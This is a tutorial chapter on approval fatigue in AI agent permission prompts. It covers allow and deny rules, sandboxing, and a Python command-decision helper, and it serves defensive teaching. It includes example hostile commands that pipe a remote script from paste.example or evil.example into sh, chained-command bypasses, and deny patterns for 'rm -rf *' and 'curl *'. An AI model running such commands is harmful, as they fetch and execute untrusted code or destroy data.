Sub topic 9
Approval Fatigue: Why More Prompts Can Mean Less Safety
This chapter assumes you have read the earlier chapters on the allow, ask, and deny decision, approval modes, and allow and deny rules. You should be comfortable reading short Python and shell snippets.
The problem: a human check only works if the human checks
An "ask" decision is a safety control only when the person answering it reads the request and thinks about it. Approval fatigue is the drop in review quality that happens when a person sees many prompts in a row. People start approving by reflex. The control still exists on paper, but it no longer stops anything.
This matters because many agent setups lean on prompts as the main defense. If the defense depends on attention, and attention wears down with volume, then adding more prompts can make the system less safe than a smaller number of well-chosen ones.
How fatigue develops
Fatigue is predictable. It follows from a few causes:
- Low signal. Most prompts are for harmless actions such as
lsorgit status. The user learns that "approve" is almost always correct. - Interruption cost. Each prompt breaks the user's focus on other work. Answering quickly is the cheapest way to get back to it.
- Uniform appearance. A prompt for
cat README.mdlooks like a prompt forcurl https://example.com/x.sh | sh. If both show the same dialog, the dangerous one gets no visual emphasis. - Truncated or dense detail. Long commands, wrapped lines, and escaped strings are hard to read. People skim them.
- Speed of the loop. An agent can issue dozens of tool calls in a minute. A human cannot evaluate each one at that pace.
The same pattern appears in other fields. Security teams call it alert fatigue, and browser designers saw it with certificate warnings that users learned to click through.
A worked example
Suppose you run a task that fixes a failing test. The agent makes 40 tool calls. Your rules ask for approval on every shell command that is not exactly git status.
| Call range | Typical action | Prompts shown | Real risk | Column |
|---|---|---|---|---|
| 1 to 15 | `ls`, `cat`, `grep` on source files | 15 | None | |
| 16 to 30 | `pytest tests/test_parser.py` and small variations | 15 | Low | |
| 31 to 38 | `git diff`, `git log` | 8 | None | |
| 39 | `curl https://paste.example/abc \ | sh` | 1 | High |
| 40 | `pytest` again | 1 | Low |
You answered 38 prompts with "yes" and every one was correct. The 39th arrives with the same dialog. Your habit says "yes". Nothing in the interface told you that it was the only prompt in the session that mattered.
The fix is not to read harder. The fix is to change the system so that calls 1 to 38 never interrupt you, and call 39 is either blocked or stands out.
Remedy 1: Allow what is safe, so prompts mean something
The first remedy is to move clearly safe actions to "allow". After that, every remaining prompt carries information, because a prompt means the action was not pre-approved. Review the prompts you approve most often. If you approve the same command 20 times in a week, it belongs in your allow list.
Keep two guardrails in mind from the rules chapter:
- Pattern matching on command strings can be fooled by chaining. An allow rule for
git diff*also matchesgit diff; curl evil.example | sh. - Broad allow rules are the usual way people trade away safety for convenience.
The following code reuses the idea of a chaining guard. It adds a counter, so you can see which commands generate the most prompts and are good candidates for an allow rule.
import re
from collections import Counter
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
CHAINING = re.compile(r"[;&|`$<>\n]")
def decide(command: str) -> str:
"""Return 'deny', 'allow', or 'ask' for a shell command."""
if CHAINING.search(command):
return "ask"
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
def prompt_report(commands: list[str]) -> Counter:
"""Count how often each command would interrupt the user."""
asked = Counter()
for command in commands:
if decide(command) == "ask":
asked[command] += 1
return asked
session = [
"ls", "ls", "cat README.md", "ls", "cat README.md",
"pytest tests/test_parser.py", "git diff", "npm install",
"ls", "cat README.md",
]
for command, count in prompt_report(session).most_common():
print(f"{count:2d} {command}")Running this prints ls four times and cat README.md three times, then npm install once. The first two are read-only and are good allow candidates. npm install should stay as a prompt, because it runs install scripts from third-party packages.
The report is a starting point, not an automatic rule generator. Decide each entry by its risk category, not by its frequency alone. A command you run often can still be dangerous.
Remedy 2: Put hard limits where prompts cannot be talked past
Prompts are weakest when the action is rare but severe. Use deny rules and sandboxing for those. A denied command never reaches the user, so there is nothing to approve by reflex. A sandbox that blocks network access or writes outside the workspace holds even if the user clicks "yes" on a bad request.
This changes what the human is responsible for. The person no longer has to catch every dangerous action. They only handle the middle band of actions that are neither obviously safe nor obviously forbidden.
Remedy 3: Make risky prompts look different
Interface and configuration choices help attention go to the right place:
- Show the full command, not a shortened version.
- Flag the risk category (network, destructive, outside workspace) in the prompt text.
- Group related low-risk reads into one approval instead of many.
- Prefer a grant scoped to the session for a repeated, bounded action, instead of asking every time.
If your tool does not offer these, you can still apply the principle in your own wrappers and policies.
Remedy 4: Review afterward, not only before
Pre-approval is one checkpoint. A second, slower checkpoint is reviewing the result with git diff, logs, and a commit history you can revert. After-the-fact review does not stop a harmful command from running, so it complements the sandbox and deny rules and does not replace them. It does catch unwanted file changes that you approved without noticing.
Common errors
- Switching to full autonomy to escape the prompts. This removes the control instead of fixing the cause. Tune rules first.
- Allowing broad patterns such as
*orbash *. These end the prompts but also end the protection. - Treating a long approval history as evidence of safety. Having approved 500 prompts says nothing about whether you read them.
- Using one mode for every task. A read-only exploration and a dependency upgrade have different risk. Choose per task.
- Ignoring prompt injection. Fatigue makes injection worse. A malicious instruction hidden in a file can ask for an action while you are in autopilot.
Tuning checklist
- Do fewer than about one in ten prompts deserve a "no"? If so, too many safe actions are prompting.
- Are the destructive and network commands in your deny list or behind a sandbox?
- Does each remaining prompt show the full command?
- Can you finish a typical task answering only a handful of prompts?
- Do you look at the diff before committing?
Exercise
An agent session produces 60 approval prompts. You approved all of them, and 57 were ls, cat, or grep on source files. Name two changes that reduce the risk that you will miss a dangerous prompt, and explain why each works.
Show answer
First, move the read-only commands (ls, cat, grep inside the workspace) to an allow rule, so only the remaining prompts interrupt you. This raises the share of prompts that matter, so each one gets real attention. Second, put destructive and network commands such as rm -rf * and curl * in a deny list, or run the agent in a sandbox that blocks them. A denied or sandboxed action cannot be approved by reflex. Showing the full command and reviewing git diff afterward are also valid additions.
Exercise
A teammate suggests adding the allow rule git* because "git prompts are annoying". Give one concrete reason this is a poor fix, and propose a narrower alternative.
Show answer
git* also matches git push --force origin main, git clean -fdx, and compound strings such as git status; curl evil.example | sh, so it auto-approves destructive and chained actions. A narrower alternative is to allow only git status, git diff*, and git log*, deny git push --force*, and send any command containing chaining characters back to the user.